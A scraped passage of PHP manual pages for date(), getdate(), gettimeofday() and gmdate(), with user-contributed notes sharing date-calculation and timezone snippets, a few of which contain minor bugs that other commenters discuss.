$date=gmdate($layout, time() + $zone);
return $date;
}
?>
mwwaygoo AT hotmail DOT com 09-Aug-2006 08:11
Number of weeks per month

I was trying to do a monthly calendar and required the number of weeks in a month, running from Monday to Sunday. Since PHP doesn't have this in its date() parameters I had to calculate it in a roundabout manner. By subtracting the week numbers away from each other we SHOULD get the number of weeks, since it is calculated on Mondays.

<?php
$year = date("Y", $date);
$month = date("m", $date);
if( (isset($_GET['year'])) && (intval($_GET['year']) > 1582) )
{
    $year = intval($_GET['year']);
}
if( (isset($_GET['month'])) && (intval($_GET['month']) >= 1) && (intval($_GET['month']) <= 12) )
{
    $month = intval($_GET['month']);
}
$date = mktime(1, 1, 1, $month, date("d"), $year);

$first_day_of_month = strtotime("-" . (date("d", $date)-1) . " days", $date);
$last_day_of_month = strtotime("+" . (date("t", $first_day_of_month)-1) . " days", $first_day_of_month);

$first_week_no = date("W", $first_day_of_month);
$last_week_no = date("W", $last_day_of_month);

if($last_week_no < $first_week_no) $last_week_no=date("W", strtotime("-1 week",$last_week_no)) + 1;
$weeks_of_month = $last_week_no - $first_week_no + 1;

?>

The check for weeknumber of the end of the month being smaller than the beginning of the month, is because of December. Where Monday 31st is actually in the first week of the following year.
The +1 adjustment is for the number of weeks, inclusive. ie if January had five week, then 5-1=4, so we need to add an extra one to make it 5.
Phil Sylvia 08-Aug-2006 09:05
I simplified this after I figured it out based upon Mel Boyce's simple solution. Thanks Mel!

 I wanted to calculate dates based upon any given date and not just todays date which is what the hundreds of examples on the Internet use.  I created a simple function and then just call the function with 2 parameters.. the date (string) to test and the number of days that I want to add (positive #) or subtract (negative #) My intended use is to retrieve dates from the database and perform the date calculations.  This makes it simple.  I hope this helps someone as frustrated as I was. Enjoy.

******************************************
<?php

// date calculation function
// adds or subtracts a date based upon the input.
// $this_date is a string format of a valid date ie.. "2006/08/11"
// $num_days is the number of days that you would like to add (positive number) or subtract (negative number)

function fnc_date_calc($this_date,$num_days){

    $my_time = strtotime ($this_date); //converts date string to UNIX timestamp
    $timestamp = $my_time + ($num_days * 86400); //calculates # of days passed ($num_days) * # seconds in a day (86400)
     $return_date = date("Y/m/d",$timestamp);  //puts the UNIX timestamp back into string format

    return $return_date;//exit function and return string
}//end of function

$date_to_test = "2006/08/11";
$days_to_add = 7;

$past_date = fnc_date_calc($date_to_test,(($days_to_add)*-1));
$future_date = fnc_date_calc($date_to_test,$days_to_add);

echo "Test Date is:   ".$date_to_test;
echo "<br>";
echo "Number of days to Calculate is: ".$days_to_add;
echo "<br>";
echo "Past date is:   ".$past_date;
echo "<br>";
echo "Future date is: ".$future_date;
?>
27-Jul-2006 02:03
For PHP 4 users wanting a format similar to ISO 8601 (http://www.w3.org/TR/NOTE-datetime):

    echo date('Y-m-d H:i:s.0T');

returns something like 2006-07-27 16:54:14.0EDT
Alvin Delagon 20-Jul-2006 02:48
Here's a function that takes the year as input and returns an array or dates that are mondays. (It can be used for generating weekly reports just like I did)

<?php
function getMondays($year) {
  $newyear = $year;
  $week = 0;
  $day = 0;
  $mo = 1;
  $mondays = array();
  $i = 1;
  while ($week != 1) {
    $day++;
    $week = date("w", mktime(0, 0, 0, $mo,$day, $year));
  }
  array_push($mondays,date("r", mktime(0, 0, 0, $mo,$day, $year)));
  while ($newyear == $year) {
    $test =  strtotime(date("r", mktime(0, 0, 0, $mo,$day, $year)) . "+" . $i . " week");
    $i++;
    if ($year == date("Y",$test)) {
      array_push($mondays,date("r", $test));
    }
    $newyear = date("Y",$test);
  }
  return $mondays;
}
?>
dulare at gmail dot com 13-Jul-2006 08:36
If You are looking for some simple date calculations:

<?php

function days_between($fyear, $fmonth, $fday, $tyear, $tmonth, $tday)
{
  return abs((mktime ( 0, 0, 0, $fmonth, $fday, $fyear) - mktime ( 0, 0, 0, $tmonth, $tday, $tyear))/(60*60*24));
}

function day_before($fyear, $fmonth, $fday)
{
  return date ("Y-m-d", mktime (0,0,0,$fmonth,$fday-1,$fyear));
}

function next_day($fyear, $fmonth, $fday)
{
  return date ("Y-m-d", mktime (0,0,0,$fmonth,$fday+1,$fyear));
}

function weekday($fyear, $fmonth, $fday) //0 is monday
{
  return (((mktime ( 0, 0, 0, $fmonth, $fday, $fyear) - mktime ( 0, 0, 0, 7, 17, 2006))/(60*60*24))+700000) % 7;
}

function prior_monday($fyear, $fmonth, $fday)
{
  return date ("Y-m-d", mktime (0,0,0,$fmonth,$fday-weekday($fyear, $fmonth, $fday),$fyear));
}

?>
Elena S. 05-May-2006 02:36
If you do not PHP5 yet but want a week day to be in ISO format: 1 (for Monday) through 7 (for Sunday), you can use this:

<?php

//GET WEEK DAY 0 FOR SUNDAY, 6 FOR SATURDAY
$x = date( "w" );

$corrected_week_day = 7 - ( (7-$x) % (7+$x) );

?>
mel dot boyce at gmail dot com 06-Apr-2006 04:46
I've been flicking through the comments looking for some succinct date code and have noticed an alarming number of questions and over-burdened examples related to date mathematics. One of the most useful skills you can utilize when performing date math is taking full advantage of the UNIX timestamp. The UNIX timestamp was built for this kind of work.

An example of this relates to a comment made by james at bandit-dot-co-dot-en-zed. James was looking for a way to calculate the number of days which have passed since a certain date. Rather than using mktime() and a loop, James can subtract the current timestamp from the timestamp of the date in question and divide that by the number of seconds in a day:
<?php
$days = floor((time() - strtotime("01-Jan-2006"))/86400);
print("$days days have passed.\n");
?>

Another usage could find itself in a class submitted by Kyle M Hall which aids in the creation of timestamps from the recent past for use with MySQL. Rather than the looping and fine tuning of a date, Kyle can use the raw UNIX timestamps (this is untested code):
<?php
$ago = 14; // days
$timestamp = time() - ($ago * 86400);
?>

Hopefully these two examples of "UNIX-style" timestamp usage will help those finding date mathematics more elusive than it should be.
SpikeDaCruz 09-Mar-2006 11:12
The following function will return the date (on the Gregorian calendar) for Orthodox Easter (Pascha).  Note that incorrect results will be returned for years less than 1601 or greater than 2399. This is because the Julian calendar (from which the Easter date is calculated) deviates from the Gregorian by one day for each century-year that is NOT a leap-year, i.e. the century is divisible by 4 but not by 10.  (In the old Julian reckoning, EVERY 4th year was a leap-year.)

This algorithm was first proposed by the mathematician/physicist Gauss.  Its complexity derives from the fact that the calculation is based on a combination of solar and lunar calendars.

<?php
function getOrthodoxEaster($date){
  /*
   Takes any Gregorian date and returns the Gregorian
   date of Orthodox Easter for that year.
  */
  $year = date("Y", $date);
  $r1 = $year % 19;
  $r2 = $year % 4;
  $r3 = $year % 7;
  $ra = 19 * $r1 + 16;
  $r4 = $ra % 30;
  $rb = 2 * $r2 + 4 * $r3 + 6 * $r4;
  $r5 = $rb % 7;
  $rc = $r4 + $r5;
  //Orthodox Easter for this year will fall $rc days after April 3
  return strtotime("3 April $year + $rc days");
}
?>
erwinmoller at xs4all dot nl 05-Jan-2006 04:34
If you need dates that are prior to 1970 (or 1901 for php5.1), have a look at calendar at this very site:
http://www.php.net/calendar
Nick H 24-Nov-2005 06:21
Users in GMT may find some information on British Summer Time useful. Personally I was confused that date() for a timestamp of 0 was returning 1am, until I found about the all-year BST from 1968-71.

http://wwp.greenwichmeantime.com/info/bst2.htm
vernon at vernonkesner dot com 02-Nov-2005 09:37
The examples for getting a date in the past or future is simply not the best way to do it.  Especially if you are doing it dynamically.

I find the best way to get a date in the past or future is like this:

<?php
//get timestamp for past/future date I want
$pf_time = strtotime("-3 days");
//format the date using the timestamp generated
$pf_date = date("Y-m-d", $pf_time);
?>
martin at kurahaupo dot gen dot nz 30-Oct-2005 01:52
There is a mistaken impression that the maximum difference between UTC and localtime is +/- 12 hours. Right now it is summer here in New Zealand, and we're 13 hours ahead of UTC, and further east in the Chatham Islands it's UTC+13:45.

Consequently, the range for the "Z" conversion is at least -43200 ... +49500
mbirth at webwriters dot de 25-Oct-2005 03:24
Using 'B' for the Swatch Internet Time (i.Beats) can still lead to misunderstandings, because the date given in the resulting string is the local date, not the date of the BMT (Biel Mean Time / UTC+0100) after which the i.Beats are counted. So while @000 is equal all around the globe, October 25th 2005 @000 in Chicago is really October 24th, 06:00 PM local time.

Otherwise, if you use date('d M Y @B') in Chicago on that day at 6pm, it will return "24 Oct 2005 @000" although it should be "25 Oct 2005 @000".

So it may happen that you miss an appointment by 24 hours (or 1000 Beats ;-)

Here's a way to return the Internet Time with correct date:

<?php
  $curtime = time();
  $utcdiff = date('Z', $curtime);  // get difference to UTC in seconds
  $bmttime = $curtime - $utcdiff + 3600;   // BMT = UTC+0100
  $ssm = date('H', $bmttime)*3600 + date('i', $bmttime)*60 + date('s', $bmttime);  // seconds since midnight (BMT)
  $ibeats = $ssm/86.4;  // 86400 seconds = 1000 beats, so 1 beat = 86.4 seconds

  echo 'i.Beats     : ' . date('D, d M Y', $bmttime) . ' @' . $ibeats;
?>

Note: If you would try date('D, d M Y @B', $bmttime), the resulting beats would be wrong because the timezone used for calculation of the beats within the date() function is still your local one but the timestamp is UTC+0100. Another working way would be:

<?php
  $curtime = time();
  $utcdiff = date('Z', $curtime);  // get difference to UTC in seconds
  $bmttime = $curtime - $utcdiff + 3600;   // BMT = UTC+0100

  echo 'i.Beats     : ' . date('D, d M Y', $bmttime) . ' @' . date('B', $curtime);
?>

But this way there are no floating-point beats possible, which may be handy sometimes.
kbrill at multi dot com 15-Sep-2005 08:27
I created a routine that fills an array with the dates in the current week.  For example $WeekDays[0] is sunday's date, $WeekDays[1] is monday's date and so on no matter what day of the week it is today.

<?php
        $lowEnd=date("w");
        $lowEnd=-$lowEnd;
        $highEnd=$lowEnd + 6;
        $weekday=0;
        for ($i=$lowEnd; $i<=$highEnd; $i++) {
            $WeekDate[$weekday]=date("m/d",mktime(0, 0, 0, date("m")  , date("d")+$i, date("Y")));
            $weekday++;
        }
?>
webmaster [AT] gn-solutions [DOT] de 07-Sep-2005 04:19
For users who want a different language than english, you can user strftime() function in combination with setlocale() instead of date():

e.g. for german language:

With date you would write:
<?php
echo date('l, d. F Y'); //Output: Wednesday, 07. September 2005
?>

With strftime() you can output it in german like this:
<?php
// Set the gloabal LC_TIME constant to german
setlocale(LC_TIME, 'de_DE');
// Little bit other Syntax but better effect
echo strftime('%A, %d. %B %Y'); //Output: Mittwoch, 07. September 2005
?>

Greetings, Andy!
jon AT standardise DOT us 15-Feb-2005 08:57
Don't forget that months start on the 1st day, and not a zero date.  Might seem obvious but:

<?php $test = date("F Y", mktime(0, 0, 0, 12, 0, 2005)); ?>

Will return November 2005, not December.

<?php $test = date("F Y", mktime(0, 0, 0, 12, 1, 2005)); ?>

The 1st is needed to get the right month.
ag nodot nospam at netside dot de 28-Jan-2005 07:19
Calculus of weeks in a year.

Since there is date("W") many still seem to have a problem regarding how many weeks there are in an year. Some rather complex solutions have been shown here.

It's defined, that a week which begins in december and ends in january the following year belongs to the year where most of its days lie. Therefore a week with at least 4 days in december is the last week of that year and a week with at least 4 days in january is the first week in the new year.

This concludes, that the last week of a year always contains the 28th day of december. So if you take date("W") on that day of a given year you always get the correct number of weeks for that year.
The other end of that definition is that the 4th day of january always lies in the first week of a year.

I hope this solves a lot of confusion.

(For those asking what all this fuzz about counting weeks is about: normally theres 52 weeks in a year but sometimes its 53 weeks in a year)

I wrote it down as a function, but as this is rather trivial one might consider using the date(...) only.

<?php
function weeks($year) {
    return date("W",mktime(0,0,0,12,28,$year));
}
?>
php at document-root dot de 14-Apr-2004 10:02
To convert an unix timestamp to suite the syntax of a GeneralizedTime attribute for OpenLDAP, you can use
date ('YmdHiZO'). Note that this conversion uses local time, the recommended way is to store dates in UTC.

If your date is in UTC, just use
date ('YmdHiZ').'Z' to convert it ("Z" stands for "Zulu", which is UTC).
daniel 17-Feb-2004 02:43
The following function will return the date (on the Gregorian calendar) for Orthodox Easter (Pascha).  Note that incorrect results will be returned for years less than 1601 or greater than 2399. This is because the Julian calendar (from which the Easter date is calculated) deviates from the Gregorian by one day for each century-year that is NOT a leap-year, i.e. the century is divisible by 4 but not by 10.  (In the old Julian reckoning, EVERY 4th year was a leap-year.)

This algorithm was first proposed by the mathematician/physicist Gauss.  Its complexity derives from the fact that the calculation is based on a combination of solar and lunar calendars.

<?php
function getOrthodoxEaster($date){
  /*
    Takes any Gregorian date and returns the Gregorian
    date of Orthodox Easter for that year.
  */
  $year = date("Y", $date);
  $r1 = $year % 19;
  $r2 = $year % 4;
  $r3 = $year % 7;
  $ra = 19 * $r1 + 16;
  $r4 = $ra % 30;
  $rb = 2 * $r2 + 4 * $r3 + 6 * $r4;
  $r5 = $rb % 7;
  $rc = $r4 + $r5;
  //Orthodox Easter for this year will fall $rc days after April 3
  return strtotime("3 April $year + $rc days");
}
?>
date_timezone_set
getdate
Date/Time Functions


Get date/time information

date
gettimeofday
Date/Time Functions
PHP Manual

getdate

(PHP 4, PHP 5)

getdate — Get date/time information

Description

array getdate ([ int $timestamp = time() ] )

Returns an associative array containing the date information of the timestamp, or the current local time if no timestamp is given.

Parameters

timestamp

The optional timestamp parameter is an integer Unix timestamp that defaults to the current local time if a timestamp is not given. In other words, it defaults to the value of time().

Return Values

Returns an associative array of information related to the timestamp. Elements from the returned associative array are as follows:

Key elements of the returned associative array
Key | Description | Example returned values
"seconds" | Numeric representation of seconds | 0 to 59
"minutes" | Numeric representation of minutes | 0 to 59
"hours" | Numeric representation of hours | 0 to 23
"mday" | Numeric representation of the day of the month | 1 to 31
"wday" | Numeric representation of the day of the week | 0 (for Sunday) through 6 (for Saturday)
"mon" | Numeric representation of a month | 1 through 12
"year" | A full numeric representation of a year, 4 digits | Examples: 1999 or 2003
"yday" | Numeric representation of the day of the year | 0 through 365
"weekday" | A full textual representation of the day of the week | Sunday through Saturday
"month" | A full textual representation of a month, such as January or March | January through December
0 | Seconds since the Unix Epoch, similar to the values returned by time() and used by date(). | System Dependent, typically -2147483648 through 2147483647.

Examples

Example #1 getdate() example

<?php
$today = getdate();
print_r($today);
?>

The above example will output something similar to:

Array
(
    [seconds] => 40
    [minutes] => 58
    [hours]   => 21
    [mday]    => 17
    [wday]    => 2
    [mon]     => 6
    [year]    => 2003
    [yday]    => 167
    [weekday] => Tuesday
    [month]   => June
    [0]       => 1055901520
)

See Also

  • date() - Format a local time/date
  • idate() - Format a local time/date as integer
  • localtime() - Get the local time
  • time() - Return current Unix timestamp
  • setlocale() - Set locale information

User Contributed Notes

moshe at unirgy dot com 07-Sep-2009 04:47
A function/method to calculate the next workday, taking into account US federal holidays:
<?php
function getNextWorkDayTime($date=null)
{
    $time = is_string($date) ? strtotime($date) : (is_int($date) ? $date : time());
    $y = date('Y', $time);
    // calculate federal holidays
    $holidays = array();
    // month/day (jan 1st). iteration/wday/month (3rd monday in january)
    $hdata = array('1/1'/*newyr*/, '7/4'/*jul4*/, '11/11'/*vet*/, '12/25'/*xmas*/, '3/1/1'/*mlk*/, '3/1/2'/*pres*/, '5/1/5'/*memo*/, '1/1/9'/*labor*/, '2/1/10'/*col*/, '4/4/11'/*thanks*/);
    foreach ($hdata as $h1) {
        $h = explode('/', $h1);
        if (sizeof($h)==2) { // by date
            $htime = mktime(0, 0, 0, $h[0], $h[1], $y); // time of holiday
            $w = date('w', $htime); // get weekday of holiday
            $htime += $w==0 ? 86400 : ($w==6 ? -86400 : 0); // if weekend, adjust
        } else { // by weekday
            $htime = mktime(0, 0, 0, $h[2], 1, $y); // get 1st day of month
            $w = date('w', $htime); // weekday of first day of month
            $d = 1+($h[1]-$w+7)%7; // get to the 1st weekday
            for ($t=$htime, $i=1; $i<=$h[0]; $i++, $d+=7) { // iterate to nth weekday
                 $t = mktime(0, 0, 0, $h[2], $d, $y); // get next weekday
                 if (date('n', $t)>$h[2]) break; // check that it's still in the same month
                 $htime = $t; // valid
            }
        }
        $holidays[] = $htime; // save the holiday
    }
    for ($i=0; $i<5; $i++, $time+=86400) { // 5 days should be enough to get to workday
        if (in_array(date('w', $time), array(0, 6))) continue; // skip weekends
        foreach ($holidays as $h) { // iterate through holidays
            if ($time>=$h && $time<$h+86400) continue 2; // skip holidays
        }
        break; // found the workday
    }
    return $time;
}
?>

[EDIT BY danbrown AT php DOT net: Contains a bugfix by (yhbeh888 AT yahoo DOT com) on 24-FEB-2010 to address a bug in the "7th line counted from the bottom."]
binupillai2003 at yahoo dot com(Binu V Pillai) 25-Aug-2009 12:32
<?php
/* Function to find the first and last day of the month from the given date.
*
* Author Binu v Pillai            binupillai2003@yahoo.com
* @Param            String             yyyy-mm-dd
*
*/
function findFirstAndLastDay($anyDate)
{
    //$anyDate            =    '2009-08-25';    // date format should be yyyy-mm-dd
    list($yr,$mn,$dt)    =    split('-',$anyDate);    // separate year, month and date
    $timeStamp            =    mktime(0,0,0,$mn,1,$yr);    //Create time stamp of the first day from the give date.
    $firstDay            =     date('D',$timeStamp);    //get first day of the given month
    list($y,$m,$t)        =     split('-',date('Y-m-t',$timeStamp)); //Find the last date of the month and separating it
    $lastDayTimeStamp    =    mktime(0,0,0,$m,$t,$y);//create time stamp of the last date of the give month
    $lastDay            =    date('D',$lastDayTimeStamp);// Find last day of the month
    $arrDay                =    array("$firstDay","$lastDay"); // return the result in an array format.

    return $arrDay;
}

//Usage
$dayArray=array();
$dayArray=findFirstAndLastDay('2009-02-25');
print $dayArray[0];
print $dayArray[1];
?>
eric dot schultz at NOSPAM dot CyVon dot com 16-Dec-2008 06:33
Here is another gmgetdate that is a little faster/suscint (no loops).

<?php
function gmgetdate2($ts = null){
        $k = array('seconds','minutes','hours','mday',
                'wday','mon','year','yday','weekday','month',0);
        return(array_combine($k,split(":",
                gmdate('s:i:G:j:w:n:Y:z:l:F:U',is_null($ts)?time():$ts))));
        }
?>

It also returns the values in the same order as getdate.
Anonymous 16-Oct-2008 07:01
I couldn't get the last 2 examples of gmgetdate() to work, so here's a modification that did work for me that behaves exactly like getdate() :

<?php
function gmgetdate($timestamp = null) {
    if (is_null($timestamp)) { $timestamp = time(); }

    $dateParts = array(
        'mday'    => 'j',
        'wday'    => 'w',
        'yday'    => 'z',
        'mon'     => 'n',
        'year'    => 'Y',
        'hours'   => 'G',
        'minutes' => 'i',
        'seconds' => 's',
        'weekday' => 'l',
        'month'   => 'F',
        0         => 'U'
    );

    while (list($part, $format) = each($dateParts)) {
        $GMdateParts[$part] = gmdate($format, $timestamp);
    }

    return $GMdateParts;
}
?>
chris AT cmbuckley DOT co DOT uk 08-Aug-2008 07:08
For those who want the gmgetdate function that matches the behaviour of getdate:

<?php
function gmgetdate($timestamp = null) {
    if (is_null($timestamp)) { $timestamp = time(); }

    $dateParts = array(
        'mday'    => 'j',
        'wday'    => 'w',
        'yday'    => 'z',
        'mon'     => 'n',
        'year'    => 'Y',
        'hours'   => 'G',
        'minutes' => 'i',
        'seconds' => 's',
        'weekday' => 'l',
        'month'   => 'F',
        0         => 'U'
    );

    while (list(, $value) = each($dateParts)) {
        $value = gmdate($value, $timestamp);
        if (is_numeric($value)) { $value = (int)$value; }
    }

    return $dateParts;
}
?>
timforte at gmail dot com 10-Jan-2008 08:07
It's worth noting that this is local time, not UTC/GMT - gmgetdate doesn't exist :(.

The most logical way to handle date arithmetic without hitting DST problems is to work in UTC...

<?php
function add_days($my_date,$numdays) {
  $date_t = strtotime($my_date.' UTC');
  return gmdate('Y-m-d',$date_t + ($numdays*86400));
}
?>

[it's even faster if you use gmmktime instead of strtotime]
andre at anlex dot co dot za 13-Dec-2006 04:38
I thought best to show a posseble way to go about bypassing the end month issue where the first day in a new month will have the monday of the week that it falls in - in the old month. Use the numbering of days as the constant and work you way from there.

Example:
<?php
//-----------------------------
$now = time();
$num = date("w");
if ($num == 0)
{ $sub = 6; }
else { $sub = ($num-1); }
$WeekMon  = mktime(0, 0, 0, date("m", $now)  , date("d", $now)-$sub, date("Y", $now));    //monday week begin calculation
$todayh = getdate($WeekMon); //monday week begin reconvert

$d = $todayh[mday];
$m = $todayh[mon];
$y = $todayh[year];
echo "$d-$m-$y"; //getdate converted day

?>

Allot less code makes everyone happy..
Jared Armstrong 09-Dec-2006 10:05
A nice little function I wrote to determine what number occurrence weekday it is of the month for a given timestamp. (I.e. 2nd Friday, or the 3rd Thursday)

Eg: print_r(getWeekdayOccurrence(mktime(0, 0, 0, 12, 1, 2006)));
Outputs: Array ( [0] => 1 [1] => Friday )  [The first friday]

Eg. print_r(getWeekdayOccurrence(mktime(0, 0, 0, 8, 17, 2009)));
Outputs: Array ( [0] => 3 [1] => Monday ) [The third Monday]

<?php
function getWeekdayOccurrence($time) {
    $month = intval(date("m", $time)); $day = intval(date("d", $time));
    for ($i = 0; $i < 7; $i++) {
        $days[] = date("l", mktime(0, 0, 0, $month, ($i+1), date("Y", $time)));
    }

    $posd  = array_search(date("l", $time), $days);
    $posdm = array_search($days[0], $days) - $posd; /

    return array((($day+$posdm+6)/7), $days[$posd]);
}
?>
cesar at nixar dot org 22-Oct-2006 08:49
<?php

  /**
   *  This function is similar to getdate() but it returns
   * the month information.
   *
   *  Returns an associative array containing the month
   * information of the parameters, or the current month
   * if no parameters are given.
   *
   */

  function getmonth ($month = null, $year = null)
  {
      // The current month is used if none is supplied.
      if (is_null($month))
          $month = date('n');

      // The current year is used if none is supplied.
      if (is_null($year))
          $year = date('Y');

      // Verifying if the month exist
      if (!checkdate($month, 1, $year))
          return null;

      // Calculating the days of the month
      $first_of_month = mktime(0, 0, 0, $month, 1, $year);
      $days_in_month = date('t', $first_of_month);
      $last_of_month = mktime(0, 0, 0, $month, $days_in_month, $year);

      $m = array();
      $m['first_mday'] = 1;
      $m['first_wday'] = date('w', $first_of_month);
      $m['first_weekday'] = strftime('%A', $first_of_month);
      $m['first_yday'] = date('z', $first_of_month);
      $m['first_week'] = date('W', $first_of_month);
      $m['last_mday'] = $days_in_month;
      $m['last_wday'] = date('w', $last_of_month);
      $m['last_weekday'] = strftime('%A', $last_of_month);
      $m['last_yday'] = date('z', $last_of_month);
      $m['last_week'] = date('W', $last_of_month);
      $m['mon'] = $month;
      $m['month'] = strftime('%B', $first_of_month);
      $m['year'] = $year;

      return $m;
  }

  // Output
  print_r(getmonth(11, 1978));
  print_r(getmonth());

?>
Cas_AT_NUY_DOT_INFO 04-Mar-2006 05:47
<?php
// This functions calculates the next date only using business days
// 2 parameters, the startdate and the number of businessdays to add
    function calcduedate($datecalc,$duedays) {
    $i = 1;
    while ($i <= $duedays) {
        $datecalc += 86400; // Add a day.
        $date_info  = getdate( $datecalc );
        if (($date_info["wday"] == 0) or ($date_info["wday"] == 6) )  {
            $datecalc += 86400; // Add a day.
            continue;
        }
        $i++;
    }
    return $datecalc ;
    }
?>
leo25in at yahoo dot com 11-May-2005 05:17
getting weekday(actual date) from any give date.

<?php
function cal_date($wday,$tstamp)
{
    return $tstamp-($wday*(24*3600));
}

function getweekday($m,$d,$y)
{
    $tstamp=mktime(0,0,0,$m,$d,$y);

    $Tdate = getdate($tstamp);

    $wday=$Tdate["wday"];

    switch($wday)
    {
        case 0;
        $wstamp=cal_date($wday,$tstamp);
        //echo date("Y-m-d",$wstamp);
        break;

        case 1;
        $wstamp=cal_date($wday,$tstamp);
        //echo date("Y-m-d",$wstamp);
        break;

        case 2;
        $wstamp=cal_date($wday,$tstamp);
        //echo date("Y-m-d",$wstamp);
        break;

        case 3;
        $wstamp=cal_date($wday,$tstamp);
        //echo date("Y-m-d",$wstamp);
        break;

        case 4;
        $wstamp=cal_date($wday,$tstamp);
        //echo date("Y-m-d",$wstamp);
        break;

        case 5;
        $wstamp=cal_date($wday,$tstamp);
        //echo date("Y-m-d",$wstamp);
        break;

        case 6;
        $wstamp=cal_date($wday,$tstamp);
        //echo date("Y-m-d",$wstamp);
        break;
    }

     $w["day"]=date("d",$wstamp);
     $w["month"]=date("m",$wstamp);
     $w["year"]=date("Y",$wstamp);

     return $w;

}
?>
getisomonday($year, $week) 21-Apr-2004 02:58
getdate does not convert week numbers. this function relies on strftime to find a timestamp that falls on the monday of specified year and ISO week:

<?php function getisomonday($year, $week) {
        # check input
        $year = min ($year, 2038); $year = max ($year, 1970);
        $week = min ($week, 53); $week = max ($week, 1);
        # make a guess
        $monday = mktime (1,1,1,1,7*$week,$year);
        # count down to week
        while (strftime('%V', $monday) != $week)
                $monday -= 60*60*24*7;
        # count down to monday
        while (strftime('%u', $monday) != 1)
                $monday -= 60*60*24;
        # got it
        return $monday;
} ?>
Yura Pylypenko (plyrvt at mail dot ru) 15-Sep-2003 06:29
In addition to canby23 at ms19 post:
It's a very bad idea to consider day having 24 hours (86400 secs), because some days have 23, some - 25 hours due to daylight saving changes. Using of mkdate() and strtotime() is always preferred. strtotime() also has a very nice behaviour of datetime manipulations:
<?php
echo strtotime ("+1 day"), "\n";
echo strtotime ("+1 week"), "\n";
echo strtotime ("+1 week 2 days 4 hours 2 seconds"), "\n";
echo strtotime ("next Thursday"), "\n";
echo strtotime ("last Monday"), "\n";
?>
date
gettimeofday
Date/Time Functions


Get current time

getdate
gmdate
Date/Time Functions
PHP Manual

gettimeofday

(PHP 4, PHP 5)

gettimeofday — Get current time

Description

mixed gettimeofday ([ bool $return_float = false ] )

This is an interface to gettimeofday(2). It returns an associative array containing the data returned from the system call.

Parameters

return_float

When set to TRUE, a float instead of an array is returned.

Return Values

By default an array is returned. If return_float is set, then a float is returned.

Array keys:

  • "sec" - seconds since the Unix Epoch
  • "usec" - microseconds
  • "minuteswest" - minutes west of Greenwich
  • "dsttime" - type of dst correction

Changelog

Version | Description
5.1.0 | The return_float parameter was added.

Examples

Example #1 gettimeofday() example

<?php
print_r(gettimeofday());

echo gettimeofday(true);
?>

The above example will output something similar to:

Array
(
    [sec] => 1073504408
    [usec] => 238215
    [minuteswest] => 0
    [dsttime] => 1
)

1073504408.23910

User Contributed Notes

lucas dot karisny at linuxmail dot org 13-Feb-2005 06:26
A small improvement on getTimer.  Using vsprintf instead of sprintf there is no need to assign the array:

<?php
function utime()
{
  return (float) (vsprintf('%d.%06d', gettimeofday()));
}
?>

In a test on my machine getTimer took 0.037519 seconds to run through 1000 iterations versus 0.027912 seconds for utime.  In total, utime runs about 25% quicker.  The use is negligible in an actual benchmarking scenario, but this could provide a slightly more accurate estimate.  Of course the time it takes to run the function could always be stored at the start and subtracted from your total value each time it is run.
middleto at pilot dot msu dot edu 12-Aug-1999 07:49
The types of DST correction (from sys/time.h on a Linux system):
 0     Not on DST
 1     USA DST
 2     Austrailian DST
 3     Western European DST
 4     Middle European DST
 5     Eastern European DST
 6     Canada DST
 7     Great Britain and Eire DST
 8     Rumania DST
 9     Turkey
10     Australian DST (with shift in 1986)
getdate
gmdate
Date/Time Functions


Format a GMT/UTC date/time

gettimeofday
gmmktime
Date/Time Functions
PHP Manual

gmdate

(PHP 4, PHP 5)

gmdate — Format a GMT/UTC date/time

Description

string gmdate ( string $format [, int $timestamp = time() ] )

Identical to the date() function except that the time returned is Greenwich Mean Time (GMT).

Parameters

format

The format of the outputted date string. See the formatting options for the date() function.

timestamp

The optional timestamp parameter is an integer Unix timestamp that defaults to the current local time if a timestamp is not given. In other words, it defaults to the value of time().

Return Values

Returns a formatted date string. If a non-numeric value is used for timestamp, FALSE is returned and an E_WARNING level error is emitted.

Changelog

Version | Description
5.1.0 | The valid range of a timestamp is typically from Fri, 13 Dec 1901 20:45:54 GMT to Tue, 19 Jan 2038 03:14:07 GMT. (These are the dates that correspond to the minimum and maximum values for a 32-bit signed integer). However, before PHP 5.1.0 this range was limited from 01-01-1970 to 19-01-2038 on some systems (e.g. Windows).
5.1.1 | There are useful constants of standard date/time formats that can be used to specify the format parameter.

Examples

Example #1 gmdate() example

When run in Finland (GMT +0200), the first line below prints "Jan 01 1998 00:00:00", while the second prints "Dec 31 1997 22:00:00".

<?php
echo date("M d Y H:i:s", mktime(0, 0, 0, 1, 1, 1998));
echo gmdate("M d Y H:i:s", mktime(0, 0, 0, 1, 1, 1998));
?>

See Also

  • date() - Format a local time/date
  • mktime() - Get Unix timestamp for a date
  • gmmktime() - Get Unix timestamp for a GMT date
  • strftime() - Format a local time/date according to locale settings

User Contributed Notes

RPaseur at NationalPres dot org 25-Jul-2009 12:51
Greenwich Mean Time has no "Summer Time" or "Daylight Saving Time" so depending on the season of the year these statements may produce the same or different output.

<?php
date_default_timezone_set('Europe/London');
echo gmdate('c');
echo date('c');
?>
QED2000 07-Aug-2008 11:14
Here is a very simple UTC timestamp:

<?php

 print gmdate("Y-m-d\TH:i:s\Z");

?>
Glen 04-Dec-2007 04:32
This routine can help obtain a UTC timestamp:

<?php
  $utc_str = gmdate("M d Y H:i:s", time());
  $utc = strtotime($utc_str);
?>

Note that gmmktime(), mktime() and time() all return the same value (with no params).  This was the cleanest way I found to create a UTC timestamp.
jhechtf at gmail dot com 24-Jul-2007 08:19
My function for something like this is like so:
<?php
function actual_time($format,$offset,$timestamp){
   //Offset is in hours from gmt, including a - sign if applicable.
   //So lets turn offset into seconds
   $offset = $offset*60*60;
   $timestamp = $timestamp + $offset;
    //Remember, adding a negative is still subtraction ;)
   return gmdate($format,$timestamp);
}
?>
It's always worked fine for me.
Blazeme 15-Jun-2007 03:25
Here, I wrote a function (from code above) for easy time zone
settings.
Regards.
<?php
function datum($datum=true) {
$sign = "+"; // Whichever direction from GMT to your timezone. + or -
$h = "1"; // offset for time (hours)
$dst = true; // true - use dst ; false - don't

if ($dst==true) {
    $daylight_saving = date('I');
    if ($daylight_saving){
        if ($sign == "-"){ $h=$h-1;  }
        else { $h=$h+1; }
    }
}
$hm = $h * 60;
$ms = $hm * 60;
if ($sign == "-"){ $timestamp = time()-($ms); }
else { $timestamp = time()+($ms); }
$gmdate = gmdate("m.d.Y. g:i A", $timestamp);
if($datum==true) {
return $gmdate;
}
else {
return $timestamp;
}

}
?>

If you set first argument to true, it'll return formated date.
If false, will return $timestamp.
Enjoy!
code at ashleyhunt dot co dot uk 27-Mar-2007 06:53
I wanted to get the time past from two MySQL dates and came up with this code that does the trick.
